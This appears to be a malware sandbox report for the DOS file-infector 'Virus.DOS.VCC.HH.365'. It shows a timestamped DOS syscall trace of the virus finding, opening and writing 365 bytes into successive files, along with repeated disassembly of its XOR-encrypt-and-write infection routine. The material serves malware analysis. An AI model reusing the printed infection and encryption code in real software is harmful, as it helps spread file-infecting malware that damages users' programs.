Sample viewer

vx.netlux.org/Virus.DOS.VCC.HH.365

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:30.200960283Z 26 PC: 12e54 | Set disk transfer address
2018-12-17T22:44:30.202470851Z 37 PC: 12e61 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:44:30.204165016Z 37 PC: 12e65 | Set interrupt vector (Interrupt = '1' AKA 'Character input')
2018-12-17T22:44:30.205158183Z 78 PC: 12e81 | Find first file
2018-12-17T22:44:30.21174136Z 61 PC: 12f1f | Open file (Filename = '')
2018-12-17T22:44:30.217947782Z 63 PC: 12f2e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:30.223968027Z 66 PC: 12f3e | Move file pointer
2018-12-17T22:44:30.22623255Z 66 PC: 12f4e | Move file pointer
2018-12-17T22:44:30.227449612Z 64 PC: 12f5a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:30.229934075Z 66 PC: 12f67 | Move file pointer
2018-12-17T22:44:30.231151686Z 44 PC: 12f6b | Get time 0x12f6b: mov byte ptr ds:[bp + 0x26d], dl
0x12f70: call 0x12f86
0x12f73: mov ah, 0x40
0x12f75: mov cx, 0x16d
0x12f78: lea dx, word ptr [bp + 0x106]
0x12f7c: int 0x21
0x12f7e: call 0x12f86
0x12f81: mov ah, 0x3e
0x12f83: int 0x21
0x12f85: ret
0x12f86: lea si, word ptr [bp + 0x11f]
0x12f8a: mov cx, 0x12f
0x12f8d: xor byte ptr [si], 0x52
0x12f90: inc si
0x12f91: dec cx
0x12f92: jne 0x12f8d
0x12f94: ret
0x12f95: add word ptr [bx], di
0x12f97: aas
0x12f98: aas
2018-12-17T22:44:30.233450021Z 64 PC: 12f7e | Write file or device (Write 365 bytes on handle 5)
2018-12-17T22:44:30.573920692Z 62 PC: 12f85 | Close file
2018-12-17T22:44:30.580471684Z 79 PC: 12e81 | Find next file
2018-12-17T22:44:30.584156844Z 61 PC: 12f1f | Open file (Filename = '')
2018-12-17T22:44:30.590552497Z 63 PC: 12f2e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:30.596964199Z 66 PC: 12f3e | Move file pointer
2018-12-17T22:44:30.599746656Z 66 PC: 12f4e | Move file pointer
2018-12-17T22:44:30.601004723Z 64 PC: 12f5a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:30.604194726Z 66 PC: 12f67 | Move file pointer
2018-12-17T22:44:30.606161413Z 44 PC: 12f6b | Get time 0x12f6b: mov byte ptr ds:[bp + 0x26d], dl
0x12f70: call 0x12f86
0x12f73: mov ah, 0x40
0x12f75: mov cx, 0x16d
0x12f78: lea dx, word ptr [bp + 0x106]
0x12f7c: int 0x21
0x12f7e: call 0x12f86
0x12f81: mov ah, 0x3e
0x12f83: int 0x21
0x12f85: ret
0x12f86: lea si, word ptr [bp + 0x11f]
0x12f8a: mov cx, 0x12f
0x12f8d: xor byte ptr [si], 0x43
0x12f90: inc si
0x12f91: dec cx
0x12f92: jne 0x12f8d
0x12f94: ret
0x12f95: add word ptr [bx], di
0x12f97: aas
0x12f98: aas
2018-12-17T22:44:30.608475511Z 64 PC: 12f7e | Write file or device (Write 365 bytes on handle 5)
2018-12-17T22:44:30.611351021Z 62 PC: 12f85 | Close file
2018-12-17T22:44:30.620177661Z 79 PC: 12e81 | Find next file
2018-12-17T22:44:30.622833588Z 61 PC: 12f1f | Open file (Filename = '')
2018-12-17T22:44:30.631046461Z 63 PC: 12f2e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:30.638014607Z 66 PC: 12f3e | Move file pointer
2018-12-17T22:44:30.640015932Z 66 PC: 12f4e | Move file pointer
2018-12-17T22:44:30.641744742Z 64 PC: 12f5a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:30.644975794Z 66 PC: 12f67 | Move file pointer
2018-12-17T22:44:30.64711317Z 44 PC: 12f6b | Get time 0x12f6b: mov byte ptr ds:[bp + 0x26d], dl
0x12f70: call 0x12f86
0x12f73: mov ah, 0x40
0x12f75: mov cx, 0x16d
0x12f78: lea dx, word ptr [bp + 0x106]
0x12f7c: int 0x21
0x12f7e: call 0x12f86
0x12f81: mov ah, 0x3e
0x12f83: int 0x21
0x12f85: ret
0x12f86: lea si, word ptr [bp + 0x11f]
0x12f8a: mov cx, 0x12f
0x12f8d: xor byte ptr [si], 0x48
0x12f90: inc si
0x12f91: dec cx
0x12f92: jne 0x12f8d
0x12f94: ret
0x12f95: add word ptr [bx], di
0x12f97: aas
0x12f98: aas
2018-12-17T22:44:30.649286695Z 64 PC: 12f7e | Write file or device (Write 365 bytes on handle 5)
2018-12-17T22:44:30.651947528Z 62 PC: 12f85 | Close file
2018-12-17T22:44:30.659187223Z 79 PC: 12e81 | Find next file
2018-12-17T22:44:30.662196379Z 61 PC: 12f1f | Open file (Filename = '')
2018-12-17T22:44:30.668518235Z 63 PC: 12f2e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:30.675707657Z 66 PC: 12f3e | Move file pointer
2018-12-17T22:44:30.676946035Z 66 PC: 12f4e | Move file pointer
2018-12-17T22:44:30.67813019Z 64 PC: 12f5a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:30.681018537Z 66 PC: 12f67 | Move file pointer
2018-12-17T22:44:30.682330581Z 44 PC: 12f6b | Get time 0x12f6b: mov byte ptr ds:[bp + 0x26d], dl
0x12f70: call 0x12f86
0x12f73: mov ah, 0x40
0x12f75: mov cx, 0x16d
0x12f78: lea dx, word ptr [bp + 0x106]
0x12f7c: int 0x21
0x12f7e: call 0x12f86
0x12f81: mov ah, 0x3e
0x12f83: int 0x21
0x12f85: ret
0x12f86: lea si, word ptr [bp + 0x11f]
0x12f8a: mov cx, 0x12f
0x12f8d: xor byte ptr [si], 0x48
0x12f90: inc si
0x12f91: dec cx
0x12f92: jne 0x12f8d
0x12f94: ret
0x12f95: add word ptr [bx], di
0x12f97: aas
0x12f98: aas
2018-12-17T22:44:30.68443103Z 64 PC: 12f7e | Write file or device (Write 365 bytes on handle 5)
2018-12-17T22:44:30.688494319Z 62 PC: 12f85 | Close file
2018-12-17T22:44:30.696050445Z 79 PC: 12e81 | Find next file
2018-12-17T22:44:30.698603994Z 61 PC: 12f1f | Open file (Filename = '')
2018-12-17T22:44:30.706043057Z 63 PC: 12f2e | Read file or device (Read 4 bytes on handle 5)
2018-12-17T22:44:30.712570276Z 66 PC: 12f3e | Move file pointer
2018-12-17T22:44:30.714277476Z 66 PC: 12f4e | Move file pointer
2018-12-17T22:44:30.717853153Z 64 PC: 12f5a | Write file or device (Write 4 bytes on handle 5)
2018-12-17T22:44:30.720656605Z 66 PC: 12f67 | Move file pointer
2018-12-17T22:44:30.722383854Z 44 PC: 12f6b | Get time 0x12f6b: mov byte ptr ds:[bp + 0x26d], dl
0x12f70: call 0x12f86
0x12f73: mov ah, 0x40
0x12f75: mov cx, 0x16d
0x12f78: lea dx, word ptr [bp + 0x106]
0x12f7c: int 0x21
0x12f7e: call 0x12f86
0x12f81: mov ah, 0x3e
0x12f83: int 0x21
0x12f85: ret
0x12f86: lea si, word ptr [bp + 0x11f]
0x12f8a: mov cx, 0x12f
0x12f8d: xor byte ptr [si], 0x4e
0x12f90: inc si
0x12f91: dec cx
0x12f92: jne 0x12f8d
0x12f94: ret
0x12f95: add word ptr [bx], di
0x12f97: aas
0x12f98: aas
2018-12-17T22:44:30.725501317Z 64 PC: 12f7e | Write file or device (Write 365 bytes on handle 5)
2018-12-17T22:44:30.728629874Z 62 PC: 12f85 | Close file
2018-12-17T22:44:30.736080667Z 26 PC: 12e9b | Set disk transfer address